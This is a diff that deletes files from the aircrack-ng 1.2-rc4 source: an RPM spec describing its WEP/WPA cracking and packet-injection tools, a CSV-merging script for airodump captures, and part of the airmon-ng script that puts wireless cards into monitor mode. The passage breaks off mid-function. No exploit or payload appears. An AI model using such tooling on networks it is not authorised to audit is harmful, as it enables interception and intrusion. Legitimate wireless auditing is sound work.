-URL:            http://www.aircrack-ng.org/
-BuildRoot:      %{_tmppath}/%{name}-%{version}-build
-Packager:       David Bolt <davjam@davjam.org>
-Requires: openssl-devel glibc >= 2
-
-
-# define the package groups. If they all followed the LSB these would be the same, but they aren't :(
-#
-%define suse_group Productivity/Networking/Other
-%define mandriva_group Productivity/Networking/Other
-%define fedora_group Productivity/Networking/Other
-
-
-
-# just in case we're not building on a (open)SUSE, Mandriva or Fedora system.
-#
-%define rel %{_rel}
-
-
-# figure out which distribution we're being built on. choices so far are (open)SUSE, Mandriva and Fedora Core.
-#
-%define _suse    %(if [ -f /etc/SuSE-release ]; then echo 1; else echo 0; fi)
-%define _mandriva %(if [ -f /etc/mandriva-release ]; then echo 1; else echo 0; fi)
-%define _fedora %(if [ -f /etc/fedora-release ]; then echo 1; else echo 0; fi)
-
-# interesting facts: Mandriva includes /etc/redhat-release, as does Fedora.
-# This means any builds for redhat are going to need to parse /etc/redhat-release
-# to make sure they're being built on a redhat system
-
-%if %{_suse}
-%define _mandriva 0
-%define _fedora 0
-%endif
-
-%if %{_mandriva}
-%define _fedora 0
-%endif
-
-
-# now for some distribution-specific modifications.
-#
-# these include making a distro-specific release number
-#
-
-# building on a (open)SUSE Linux system so make a release identifier for the (open)SUSE version
-#
-%if %_suse
-%define _suse_version %(grep VERSION /etc/SuSE-release|cut -f3 -d" ")
-%define _suse_vernum %(echo "%{_suse_version}"|tr -d '.')
-%define rel %{_rel}.suse%{_suse_vernum}
-%define _distribution SUSE Linux %{_suse_version}
-%define group %{suse_group}
-
-# distro name change for SUSE >= 10.2 to openSUSE
-#
-%if %suse_version >= 1020
-
-  %define _distribution openSUSE %{_suse_version}
-
-%endif
-
-# not defined by SUSE/Novell but useful to have
-#
-%define _icondir %{_datadir}/pixmaps/
-
-%endif
-
-# building on a Mandriva/Mandrake Linux system so use the standard Mandriva release string
-#
-# this is experimental and untested as yet, but should work.
-#
-%if %{_mandriva}
-%define _mandriva_version %(cat /etc/mandriva-release|cut -f4 -d" ")
-%define _distribution Mandriva %{_mandriva_version}
-%define rel %{_rel}.mdv
-%define group %{mandriva_group}
-
-%endif
-
-
-# building on a Fedora Core Linux system. not sure if there's a release string, but create one anyway
-#
-# this is experimental and untested as yet, but should work.
-#
-%if %{_fedora}
-%define _fedora_version %(cat /etc/fedora-release|cut -f3 -d" ")
-%define _distribution Fedora Core %{_fedora_version}
-%define rel %{_rel}.fc%{_fedora_version}
-%define group %{fedora_group}
-%endif
-
-
-# while these few are (relatively) distro-specific
-#
-Group:          %{group}
-Release:        %{rel}
-%{?_distribution:Distribution:%{_distribution}}
-
-
-%description
-aircrack-ng is a set of tools for auditing wireless networks. It's an
-enhanced/reborn version of aircrack. It consists of airodump-ng (an 802.11
-packet capture program), aireplay-ng (an 802.11 packet injection program),
-aircrack (static WEP and WPA-PSK cracking), airdecap-ng (decrypts WEP/WPA
-capture files), and some tools to handle capture files (merge, convert,
-etc.).
-
-%prep
-%setup -q
-
-%build
-make %{?_smp_mflags} sqlite=true pcre=true experimental=true
-
-%install
-
-rm -rf $RPM_BUILD_ROOT
-mkdir $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT prefix=%{_prefix} mandir=%{_mandir}/man1 sqlite=true pcre=true experimental=true
-
-cd $RPM_BUILD_ROOT
-find . -type d | sed '1,2d;s,^\.,\%attr(-\,root\,root) \%dir ,' > %{_builddir}/file.list.%{name}
-find . -type f | sed 's,^\.,\%attr(-\,root\,root) ,' | grep -v /man/ >> %{_builddir}/file.list.%{name}
-find . -type l | sed 's,^\.,\%attr(-\,root\,root) ,' >> %{_builddir}/file.list.%{name}
-
-%files -f %{_builddir}/file.list.%{name}
-%doc ChangeLog INSTALLING README LICENSE AUTHORS VERSION
-%doc test
-%doc patches
-%{_mandir}/man1/*
-
-%clean
-rm -rf $RPM_BUILD_ROOT
-
-%changelog
-* Sun Jan 29 2009 Xury <xury@poczta.onet.pl> aircrack-ng-1.0-rc3
-- small fix and update spec file
-* Mon Jun 26 2006 David Bolt <davjam@davjam.org> aircrack-ng-0.6
-- Removed patch as no longer needed for SUSE 10.1 (GCC 4.1.2)
-* Fri Jun  2 2006 David Bolt <davjam@davjam.org> aircrack-ng-0.5
-- Patched source to build properly on SUSE 10.1 (GCC 4.1.2)
-* Thu Mar 30 2006 David Bolt <davjam@davjam.org>
-- First package built for SUSE

aircrack-ng-1.2-rc4.tar.gz/packages/slack-desc Deleted

aircrack-ng-1.2-rc4.tar.gz/scripts/Makefile Deleted

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/Makefile Deleted

aircrack-ng-1.2-rc4.tar.gz/scripts/airdrop-ng/doc/Makefile Deleted

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/Makefile Deleted

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/dump-join Deleted

@@ -1,96 +0,0 @@
-
-#!/usr/bin/python
-# this script is a total hack it works and ill clean it up later
-import sys,getopt, optparse, pdb, re
-def raw_lines(file):
-        try:
-		raw_lines = open(file, "r")
-	except Exception:
-		print "Failed to open ",file,". Do you have the file name correct?"
-		sys.exit(1)
-        Rlines = raw_lines.readlines() 
-       	return Rlines
-
-def parse_file(file,file_name):
-	cleanup = []
-	for line in file:
-               # match=re.search("\n", line) # the next few lines are notes and can be ignored
-               # if match:
-               #   line=line.replace("\n","")
-		#for x in line:
-		#	clean = filter(lambda y: y != '\n', x)
-		clean = line.rstrip()
-		cleanup.append(clean)
-	try:
-		header = cleanup.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key')
-		stationStart = cleanup.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs')
-        	del cleanup[header]
-	except Exception:
-		print "You seem to have provided an improper input file"" '",file_name,"' ""Please make sure you are loading an airodump csv file and not a Pcap"
-        	sys.exit(1)
-	Clients = cleanup[stationStart:] #splits off the clients into their own list
-	stationStart = stationStart - 1 #ulgy hack to make sure the heading gets deleted from end of the APs List
-	del cleanup[stationStart:]#removed all of the client info leaving only the info on available target AP's in ardump maby i should create a new list for APs?
-	lines = [cleanup,Clients]
-	return lines
-def join_write(data,name):
- 	file = open(name,'a')
-	for line in data[0]:
-                line=line.rstrip()
-                if len(line)>1:
-           		file.write(line+'\n')
-	for line in data [1]:
-                if len(line)>1:
-         		file.write(line+'\n')
-	file.close()
-def showBanner():
-	print "Airodump Joiner\nJoin Two Airodump CSV Files\n\n\t-i\tInput Files [ foo_name_1 foo_name_2 foo_name_3 .....] \n\t-o\tOutput File\n"
-
-def file_pool(files):
-	AP = []
-	Clients = []
-	for file in files:
-		ret = raw_lines(file)
-		ret = parse_file(ret,file)
-		AP.extend(ret[1])
-		Clients.extend(ret[0])
-	lines = [AP,Clients]
-	output = sort_file(lines)
-	return output
-
-def sort_file(input):
-	AP = ['BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key']
-	Clients = ['\nStation MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs']
-	Clients.extend(input[0])
-	AP.extend(input[1])
-	output = [AP,Clients]
-	return output
-
-	
-
-if  __name__ == "__main__":
-        if len(sys.argv) <= 1:
-                showBanner()
-                sys.exit(1)
-
-	parser = optparse.OptionParser("usage: %prog [options] arg1 arg2 arg3 .....")
-	parser.add_option("-o", "--output",  dest="output",nargs=1, help="output file to write to")
-	parser.add_option("-i", "--file", dest="filename", nargs=2 ,help="Input files to read data from requires at least two arguments")
-	
-	(options, args) = parser.parse_args()
-	filenames = options.filename
-	outfile = options.output
-	if outfile == None:
-		print "You must provide a file name to write out to. IE... -o foo.csv\n"
-		showBanner()
-		sys.exit(1)
-	elif filenames == None:
-		print "You must provide at least two file names to join. IE... -i foo1.csv foo2.csv\n"
-		showBanner()
-		sys.exit(1)
-	for file_name in args:
-		filenames += (file_name,)	
-	return_var = file_pool(filenames)
-	return_var = join_write(return_var,outfile)
-
-

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/man/Makefile Deleted

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/man/dump-join.1 Deleted

aircrack-ng-1.2-rc4.tar.gz/scripts/airgraph-ng/support Deleted

aircrack-ng-1.2-rc4.tar.gz/scripts/airmon-ng Deleted

@@ -1,1439 +0,0 @@
-#!/bin/sh
-DEBUG="0"
-VERBOSE="0"
-ELITE="0"
-USERID=""
-IFACE=""
-checkvm_status=""
-MAC80211=0
-IW_SOURCE="https://www.kernel.org/pub/software/network/iw/iw-4.3.tar.gz"
-IW_ERROR=""
-if [ ! -d /sys/ ]; then
-	printf "CONFIG_SYSFS is disabled in your kernel, this program will almost certainly not work.\n"
-fi
-
-if [ "${1}" = "--elite" ]; then
-	shift
-	ELITE="1"
-fi
-
-if [ "${1}" = "--verbose" ]; then
-	shift
-	VERBOSE="1"
-fi
-
-if [ "${1}" = "--debug" ]; then
-	shift
-	DEBUG="1"
-	VERBOSE="1"
-fi
-
-#yes, I know this is in here twice
-if [ "${1}" = "--elite" ]; then
-	shift
-	ELITE="1"
-fi
-
-
-if [ -n "${3}" ];then
-	if [ "${3}" -gt 0 ] > /dev/null 2>&1; then
-		CH="${3}"
-	else
-		printf "\nYou have entered an invalid channel \"${3}\" which will be ignored\n"
-		CH=3
-	fi
-else
-	CH=10
-fi
-
-#TODO LIST
-
-#cleanup getDriver()
-#fix to not assume wifi drivers are modules
-#rewrite to not have two devices at any one time
-
-if [ -n "$(command -v id 2> /dev/null)" ]; then
-	USERID="$(id -u 2> /dev/null)"
-fi
-
-if [ -z "${USERID}" ] && [ -n "$(id -ru)" ]; then
-	USERID="$(id -ru)"
-fi
-
-if [ -n "${USERID}" ] && [ "${USERID}" != "0" ]; then
-	printf "Run it as root\n" ; exit 1;
-elif [ -z "${USERID}" ]; then
-	printf "Unable to determine user id, permission errors may occur.\n"
-fi
-
-#check for all needed binaries
-if [ ! -x "$(command -v uname 2>&1)" ]; then
-	printf "How in the world do you not have uname installed?\n"
-	printf "Please select a linux distro which has at least basic functionality (or install uname).\n"
-	exit 1
-else
-        OS=$(uname -s)
-	#Recognized values are Linux and Darwin
-fi
-
-if [ ! -x "$(command -v ip 2>&1)" ] && [ ! -x "$(command -v ifconfig 2>&1)" ]; then
-	printf "You have neither ip (iproute2) nor ifconfig installed.\n"
-	printf "Please install one of them from your distro's package manager.\n"
-	exit 1
-fi
-
-if [ ! -x "$(command -v iw 2>&1)" ]; then
-	printf "You don't have iw installed, please install it from your distro's package manager.\n"
-	printf "If your distro doesn't have a recent version you can download it from this link:\n"
-	printf "${IW_SOURCE}\n"
-	exit 1
-fi
-
-if [ ! -x "$(command -v ethtool 2>&1)" ]; then
-	printf "Please install the ethtool package for your distro.\n"
-	exit 1
-fi
-
-if [ -d /sys/bus/usb ]; then
-	if [ ! -x "$(command -v lsusb 2>&1)" ]; then
-		printf "Please install lsusb from your distro's package manager.\n"
-		exit 1
-	else
-		LSUSB=1
-	fi
-else
-	LSUSB=0
-fi
-
-if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ]; then
-	if [ ! -x "$(command -v lspci 2>&1)" ]; then
-		printf "Please install lspci from your distro's package manager.\n"
-		exit 1
-	else
-		LSPCI=1
-	fi
-else
-	LSPCI=0
-fi
-
-if [ -f /proc/modules ] || [ -d /sys/module ]; then
-	if [ ! -x "$(command -v modprobe 2>&1)" ]; then
-		printf "Your kernel has module support but you don't have modprobe installed.\n"
-		printf "It is highly recommended to install modprobe (typically from kmod).\n"
-		MODPROBE=0
-	else
-		MODPROBE=1
-	fi
-	if [ ! -x "$(command -v modinfo 2>&1)" ]; then
-		printf "Your kernel has module support but you don't have modinfo installed.\n"
-		printf "It is highly recommended to install modinfo (typically from kmod).\n"
-		printf "Warning: driver detection without modinfo may yield inaccurate results.\n"
-		MODINFO=0
-	else
-		MODINFO=1
-	fi
-else
-	MODINFO=0
-fi
-
-if [ -c /dev/rfkill ]; then
-	if [ ! -x "$(command -v rfkill 2>&1)" ];then
-		printf "Your kernel supports rfkill but you don't have rfkill installed.\n"
-		printf "To ensure devices are unblocked you must install rfkill.\n"
-		RFKILL=0
-	else
-		RFKILL=1
-	fi
-else
-	RFKILL=0
-fi
-
-if [ ! -x "$(command -v awk 2>&1)" ]; then
-	printf "How in the world do you not have awk installed?\n"
-	printf "Please select a linux distro which has at least basic functionality (or install awk).\n"
-	exit 1
-fi
-
-if [ ! -x "$(command -v grep 2>&1)" ]; then
-	printf "How in the world do you not have grep installed?\n"
-	printf "Please select a linux distro which has at least basic functionality (or install grep).\n"
-	exit 1
-fi
-#done checking for binaries
-
-usage() {
-	printf "usage: $(basename $0) <start|stop|check> <interface> [channel or frequency]\n\n"
-	exit 0
-}
-
-handleLostPhys() {
-	MISSING_INTERFACE=""
-	for i in $(ls /sys/class/ieee80211/); do
-		if [ ! -d /sys/class/ieee80211/${i}/device/net ]; then
-			MISSING_INTERFACE="${i}"
-			printf "\nFound ${MISSING_INTERFACE} with no interfaces assigned, would you like to assign one to it? [y/n] "
-			yesorno
-			retcode=$?
-               		if [ "${retcode}" = "1" ]; then
-				printf "PHY ${MISSING_INTERFACE} will remain lost.\n"
-			elif [ "${retcode}" = "0" ]; then
-				PHYDEV=${MISSING_INTERFACE}
-				findFreeInterface monitor
-               		fi
-		fi
-	done
-				#add some spacing so this doesn't make the display hard to read
-				printf "\n"
-}
-
-findFreeInterface() {
-	if [ -z "${1}" ]; then
-		printf "findFreeInterface needs a target mode.\n"
-		exit 1
-	fi
-	if [ "${1}" != "monitor" ] && [ "${1}" != "station" ]; then
-		printf "findFreeInterface only supports monitor and station for target mode.\n"
-		exit 1
-	fi
-	target_mode="${1}"
-	if [ "$target_mode" = "monitor" ]; then
-		target_suffix="mon"
-		target_type="803"
-	else
-		target_suffix=""
-		target_type="1"
-	fi
-	for i in $(seq 0 100); do
-		if [ "$i" = "100" ]; then
-			printf "\n\tUnable to find a free name between wlan0 and wlan99, you are on your own from here.\n"
-			return 1
-		fi
-		if [ "$DEBUG" = "1" ]; then
-			printf "\nChecking candidate wlan${i}\n"
-		fi
-		if [ ! -e /sys/class/net/wlan${i} ]; then
-			if [ "$DEBUG" = "1" ]; then
-				printf "\nCandidate wlan${i} is not in use\n"
-			fi
-			if [ ! -e /sys/class/net/wlan${i}mon ]; then
-				if [ "$DEBUG" = "1" ]; then
-					printf "\nCandidate wlan${i} and wlan${i}mon are both clear, creating wlan${i}${target_suffix}\n"
-				fi
-				IW_ERROR="$(iw phy ${PHYDEV} interface add wlan${i}${target_suffix} type ${target_mode} 2>&1)"
-				if [ -z "${IW_ERROR}" ]; then
-					if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then
-						for j in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
-							if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${j}/type)" = "${target_type}" ]; then
-								#here is where we catch udev renaming our interface
-								k=${j#wlan}
-								i=${k%mon}
-							fi
-						done
-					else
-						printf "Unable to create wlan${i}${target_suffix} and no error recieved.\n"
-						return 1
-					fi
-					printf "\n\t\t(mac80211 ${target_mode} mode vif enabled on [${PHYDEV}]wlan${i}${target_suffix}\n"
-					unset IW_ERROR
-					break
-				else
-					printf "\n\n ERROR adding ${target_mode} mode interface: ${IW_ERROR}\n"
-					break
-				fi
-			else
-				if [ "$DEBUG" = "1" ]; then
-					printf "\nCandidate wlan${i} does not exist, but wlan${i}mon does, skipping...\n"
-				fi
-			fi
-		else
-			if [ "$DEBUG" = "1" ]; then
-				printf "\nCandidate wlan${i} is in use already.\n"
-			fi
-		fi
-	done
-}
-
-rfkill_check() {
-	#take phy and check blocks
-	if [ "${RFKILL}" = 0 ]; then
-		#immediatly return if rfkill isn't supported
-		return 0
-	fi
-	if [ -z "${1}" ]; then
-		printf "Fatal, rfkill_check requires a phy to be passed in\n"
-		exit 1
-	fi
-	#first we have to find the rfkill index
-	#this is available as /sys/class/net/wlan0/phy80211/rfkill## but that's a bit difficult to parse
-	index="$(rfkill list | grep ${1} | awk -F: '{print $1}')"
-	if [ -z "$index" ]; then
-		return 187
-	fi
-	rfkill_status="$(rfkill list ${index} 2>&1)"
-	if [ $? != 0 ]; then
-		printf "rfkill error: ${rfkill_status}\n"
-		return 187
-	elif [ -z "${rfkill_status}" ]; then
-		printf "rfkill had no output, something went wrong.\n"
-		exit 1
-	else
-		soft=$(printf "${rfkill_status}" | grep -i soft | awk '{print $3}')
-		hard=$(printf "${rfkill_status}" | grep -i hard | awk '{print $3}')
-		if [ "${soft}" = "yes" ] && [ "${hard}" = "no" ]; then
-			return 1
-		elif [ "${soft}" = "no" ] && [ "${hard}" = "yes" ]; then
-			return 2
-		elif [ "${soft}" = "yes" ] && [ "${hard}" = "yes" ]; then
-			return 3
-		fi
-	fi
-	return 0
-}
-
-rfkill_unblock() {
-	#attempt unblock and CHECK SUCCESS
-	if [ "${RFKILL}" = 0 ]; then
-		#immediatly return if rfkill isn't supported
-		return 0
-	fi
-	rfkill_status="$(rfkill unblock ${1#phy} 2>&1)"
-	if [ $? != 0 ]; then
-		printf "rfkill error: ${rfkill_status}\n"
-		printf "Unable to unblock.\n"
-		return 1
-	else
-		sleep 1
-		return 0
-	fi
-}
-
-setLink() {
-	if [ -x "$(command -v ip 2>&1)" ]; then
-		ip link set dev ${1} ${2} > /dev/null 2>&1 || printf "\nFailed to set ${1} ${2} using ip\n"
-	elif [ -x "$(command -v ifconfig 2>&1)" ]; then
-		ifconfig ${1} ${2} > /dev/null 2>&1 || printf "\nFailed to set ${1} ${2} using ifconfig\n"
-	fi
-	return
-}
-
-ifaceIsUp() {
-	if [ -x "$(command -v ip 2>&1)" ]; then
-		ifaceIsUpCmd="ip link show dev"
-	elif [ -x "$(command -v ifconfig 2>&1)" ]; then
-		ifaceIsUpCmd="ifconfig"
-	fi
-	if ${ifaceIsUpCmd} ${1} 2>&1 | grep -q UP
-	then
-		return
-	else
-		return 1
-	fi
-}
-
-#listIfaceUnspec() {
-#	if [ -x "$(command -v ip 2>&1)" ]; then
-#		ip link 2>/dev/null | awk -F"[: ]+" '/UNSPEC/ {print $2}'
-#	elif [ -x "$(command -v ifconfig 2>&1)" ]; then
-#		ifconfig -a 2>/dev/null | awk -F"[: ]+" '/UNSPEC/ {print $1}'
-#	fi
-#}
-
-#startDeprecatedIface() {
-#	iwconfig ${1} mode monitor > /dev/null 2>&1
-#	if [ -n "${2}" ]; then
-#		if [ ${2} -lt 1000 ]; then
-#			iwconfig ${1} channel ${2} > /dev/null 2>&1
-#		else
-#			iwconfig ${1} freq ${2}000000 > /dev/null 2>&1
-#		fi
-#	else
-#		iwconfig ${1} channel ${CH} > /dev/null 2>&1
-#	fi
-#	iwconfig ${1} key off > /dev/null 2>&1
-#	setLink ${1} up
-#	printf " (monitor mode enabled)"
-#}
-
-yesorno() {
-	read input
-	case $input in
-		y) return 0 ;;
-		yes) return 0 ;;
-		n) return 1 ;;
-		no) return 1 ;;
-		*) printf "\nInvalid input. Yes, or no? [y/n] "
-		   yesorno;;
-	esac
-}
-
-startMac80211Iface() {
-	#check if rfkill is set and cry if it is
-	rfkill_check ${PHYDEV}
-	rfkill_retcode="$?"
-	case ${rfkill_retcode} in
-		1) printf "\t${1} is soft blocked, please run \"rfkill unblock ${1#phy}\" to use this interface.\n" ;;
-		2) printf "\t${1} is hard blocked, please flip the hardware wifi switch to on.\n"
-		   printf "\tIt may also be possible to unblock with \"rfkill unblock ${1#phy}\"\n"
-		   if [ "${checkvm_status}" != "run" ]; then
-		   	checkvm
-		   fi
-		   if [ -n "${vm}" ]; then
-		   	printf "Detected VM using ${vm_from}\n"
-		   	printf "This appears to be a ${vm} Virtual Machine\n"
-		   	printf "Some distributions have bugs causing rfkill hard block to be forced on in a VM.\n"
-		   	printf "If toggling the rfkill hardware switch and \"rfkill unblock ${1#phy}\" both fail\n"
-		   	printf "to fix this, please try not running in a VM.\n"
-		   fi
-		   ;;
-		3) printf "\t${1} is hard and soft blocked, please flip the hardware wifi switch to on.\n"
-		   printf "\tIt may also be needed to unblock with \"rfkill unblock ${1#phy}\"\n" ;;
-	esac
-	if [ "${rfkill_retcode}" != 0 ]; then
-		printf "rfkill error, unable to start ${1}\n\n"
-		printf "Would you like to try and automatically resolve this? [y/n] "
-		yesorno
-		retcode="$?"
-		if [ "${retcode}" = "1" ]; then
-			return 1
-		elif [ "${retcode}" = "0" ]; then
-			rfkill_unblock ${PHYDEV}
-		fi
-	fi
-	#check if $1 already has a mon interface on the same phy and bail if it does
-	if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then
-		for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
-			if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "803" ]; then
-				setChannelMac80211 ${i}
-				printf "\n\t\t(mac80211 monitor mode already enabled for [${PHYDEV}]${1} on [${PHYDEV}]${i})\n"
-				exit
-			fi
-		done
-	fi
-	#we didn't bail means we need a monitor interface
-        if [ ${#1} -gt 12 ]; then
-		printf "Interface ${#1}mon is too long for linux so it will be renamed to the old style (wlan#) name.\n"
-		findFreeInterface monitor
-	else
-		if [ -e /sys/class/net/${1}mon ]; then
-			printf "\nYou already have a ${1}mon device but it is NOT in monitor mode."
-			printf "\nWhatever you did, don't do it again."
-			printf "\nPlease run \"iw ${1}mon del\" before attempting to continue\n"
-			exit 1
-		fi
-		#we didn't bail means our target interface is available
-		setLink ${1} down
-		IW_ERROR="$(iw phy ${PHYDEV} interface add ${1}mon type monitor 2>&1)"
-		if [ -z "${IW_ERROR}" ]; then
-			sleep 1
-			if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${1}mon/type)" = "803" ]; then
-				setChannelMac80211 ${1}mon
-			else
-				printf "\nNewly created monitor mode interface ${1}mon is *NOT* in monitor mode.\n"
-				printf "Removing non-monitor ${1}mon interface...\n"
-				stopMac80211Iface ${1}mon abort
-				exit 1
-			fi
-			printf "\n\t\t(mac80211 monitor mode vif enabled for [${PHYDEV}]${1} on [${PHYDEV}]${1}mon)\n"
-		else
-			printf "\n\nERROR adding monitor mode interface: ${IW_ERROR}\n"
-			exit 1
-		fi
-	fi
-	if [ "${ELITE}" = "1" ]; then
-		#check if $1 is still down, warn if not
-		if ifaceIsUp ${1}
-		then
-			printf "\nInterface ${1} is up, but it should be down. Something is interferring."
-			printf "\nPlease run \"airmon-ng check kill\" and/or kill your network manager."
-		fi
-	else
-		iw ${1} del
-		printf "\t\t(mac80211 station mode vif disabled for [${PHYDEV}]${1})\n"
-	fi
-}
-
-startwlIface() {
-	if [ -f "/proc/brcm_monitor0" ]; then
-		if [ -r "/proc/brcm_monitor0" ]; then
-			local brcm_monitor="$(cat /proc/brcm_monitor0)"
-			if [ "$brcm_monitor" = "1" ]; then
-				printf "\n\t\t(experimental wl monitor mode vif already enabled for [${PHYDEV}]${1} on [${PHYDEV}]prism0)\n"
-				return 0
-			fi
-		fi
-		if [ -w "/proc/brcm_monitor0" ]; then
-			printf "1" > /proc/brcm_monitor0
-			if [ "$?" = "0" ]; then
-				printf "\n\t\t(experimental wl monitor mode vif enabled for [${PHYDEV}]${1} on [${PHYDEV}]prism0)\n"
-			else
-				printf "\n\t\t(failed to enable experimental wl monitor mode for [${PHYDEV}${1})\n"
-			fi
-		else
-			printf "\n\tUnable to write to /proc/brcm_monitor0, cannot enable monitor mode.\n"
-		fi
-	else
-		printf "\n\tThis version of wl does not appear to suport monitor mode.\n"
-	fi
-}
-
-#startDarwinIface() {
-#	if [ -x /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport ]; then
-#		if [ -n "${CH}" ] && [ ${CH} -lt 220 ]; then
-#			/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport $1 sniff ${CH}
-#		else
-#			printf "Channel is set to none channel value of ${CH}
-#		fi
-#	fi
-#}
-
-setChannelMac80211() {
-	setLink ${1} up
-	if [ -n "${CH}" ]; then
-		if [ ${CH} -lt 1000 ]; then
-			#mac80211 specific check to see if hardware supports the channel number being assigned (requires grep with pcre)
-			if [ -r "/sys/class/net/$1/phy80211/name" ]; then
-		                channel_list="$(iw phy $(cat /sys/class/net/$1/phy80211/name) info 2>&1 | grep -oP '\[\K[^\]]+')"
-				local hardware_valid_channel=1
-	        	        for i in $channel_list; do
-	                	        if [ "${CH}" = "${i}" ]; then
-	                        	        hardware_valid_channel=0
-		                                break
-		                        fi
-		                done
-				if [ "${hardware_valid_channel}" = "1" ]; then
-	        	                printf "Channel ${CH} does not appear to be supported by ${1} hardware, defaulting to channel 3.\n\n"
-					CH=3
-				fi
-			fi
-			IW_ERROR="$(iw dev ${1} set channel ${CH} 2>&1)"
-		else
-			#mac80211 specific check to see if hardware supports the frequency number being assigned (requires grep with pcre)
-			if [ -r "/sys/class/net/$1/phy80211/name" ]; then
-				frequency_list="$(iw phy $(cat /sys/class/net/$1/phy80211/name) info 2>&1 | grep -oP '\*\ \K[\d]+\ ')"
-				local hardware_valid_freq=1
-				for i in $frequency_list; do
-					if [ "${CH}" = "${i}" ]; then
-						hardware_valid_freq=0
-						break
-					fi
-					print
-				done
-				if [ "${hardware_valid_freq}" = "1" ]; then
-					printf "Frequency ${CH} does not appear to be supported by ${1} hardware, defaulting to 2422 Mhz.\n\n"
-					CH="2422"
-				fi
-			fi
-			IW_ERROR="$(iw dev ${1} set freq "${CH}" 2>&1)"
-		fi
-	else
-		printf "CH is unset, this should not be possible.\n"
-		exit 1
-	fi
-	if [ -n "${IW_ERROR}" ]; then
-		printf "\nError setting channel: ${IW_ERROR}\n"
-		if printf "${IW_ERROR}" | grep -q "(-16)"; then
-			printf "Error -16 likely means your card was set back to station mode by something.\n"
-			printf "Removing non-monitor ${1} interface...\n"
-			stopMac80211Iface "${1}" abort
-			exit 1
-		fi
-		if printf "${IW_ERROR}" | grep -q "(-22)"; then
-			printf "Unable to set channel/frequency ${CH}, most likely it is outside of regulatory domain\n\n"
-		fi
-	fi
-}
-
-#stopDeprecatedIface() {
-#	setLink $1 down
-#	iwconfig $1 mode Managed > /dev/null 2>&1
-#	setLink $1 up
-#	printf " (monitor mode disabled)"
-#}
-
-stopMac80211Iface() {
-	if [ -f /sys/class/net/${1}/type ]; then
-		if [ "${2}" != "abort" ] && [ "$(cat /sys/class/net/${1}/type)" != "803" ]; then
-			printf "\n\nYou are trying to stop a device that isn't in monitor mode.\n"
-			printf "Doing so is a terrible idea, if you really want to do it then you\n"
-			printf "need to type 'iw ${1} del' yourself since it is a terrible idea.\n"
-			printf "Most likely you want to remove an interface called wlan[0-9]mon\n"
-			printf "If you feel you have reached this warning in error,\n"
-			printf "please report it.\n"
-			exit 1
-		else
-			if [ "${ELITE}" = "0" ]; then
-				local need_sta=1
-				if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then
-					for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
-						if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "1" ]; then
-							[ "${2}" != "abort" ] && printf "\n\t\t(mac80211 station mode vif already available for [${PHYDEV}]${1} on [${PHYDEV}]${i})\n"
-							need_sta=0
-						fi
-					done
-				fi
-				if [ "${need_sta}" = "1" ] && [ -e /sys/class/net/${1%mon}/phy80211/name ]; then
-					if [ "$(cat /sys/class/net/${1%mon}/phy80211/name)" = "${PHYDEV}" ]; then
-						printf "\nYou already have a ${1%mon} device but it is NOT in station mode."
-						printf "\nWhatever you did, don't do it again."
-						printf "\nPlease run \"iw ${1%mon} del\" before attempting to continue\n"
-						exit 1
-					else
-						printf "\nYou already have a ${1%mon} device, but is is not on the same phy as ${1}.\n"
-						printf "\nAttemping to pick a new name...\n"
-						findFreeInterface station
-					fi
-				fi
-				if [ "${need_sta}" = "1" ]; then
-					IW_ERROR="$(iw phy ${PHYDEV} interface add ${1%mon} type station 2>&1)"
-					if [ -z "${IW_ERROR}" ]; then
-						interface="${1%mon}"
-						if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then
-							for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
-								if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "1" ]; then
-									#here is where we catch udev renaming our interface
-									interface="${i}"
-								fi
-							done
-						fi
-						printf "\n\t\t(mac80211 station mode vif enabled on [${PHYDEV}]${interface})\n"
-					else
-						printf "\n\n ERROR adding station mode interface: ${IW_ERROR}\n"
-					fi
-				fi
-			fi
-			setLink ${1} down
-			IW_ERROR="$(iw dev "${1}" del 2>&1 | grep "nl80211 not found")"
-			if [ -z "$IW_ERROR" ]; then
-				if [ "${2}" != "abort" ]; then
-					printf "\n\t\t(mac80211 monitor mode vif disabled for [${PHYDEV}]${1})\n"
-				elif [ "${2}" = "abort" ]; then
-					printf "\nWARNING: unable to start monitor mode, please run \"airmon-ng check kill\"\n"
-				fi
-			else
-				if [ -f /sys/class/ieee80211/${PHYDEV}/remove_iface ]; then
-					printf "${1}" > /sys/class/ieee80211/${PHYDEV}/remove_iface
-					printf "\n\t\t(mac80211 monitor mode vif disabled for [${PHYDEV}]${1})\n"
-				else
-					printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n"
-				fi
-			fi
-		fi
-	fi
-}
-
-stopwlIface() {
-	if [ -f "/proc/brcm_monitor0" ]; then
-		if [ -r "/proc/brcm_monitor0" ]; then
-			local brcm_monitor="$(cat /proc/brcm_monitor0)"
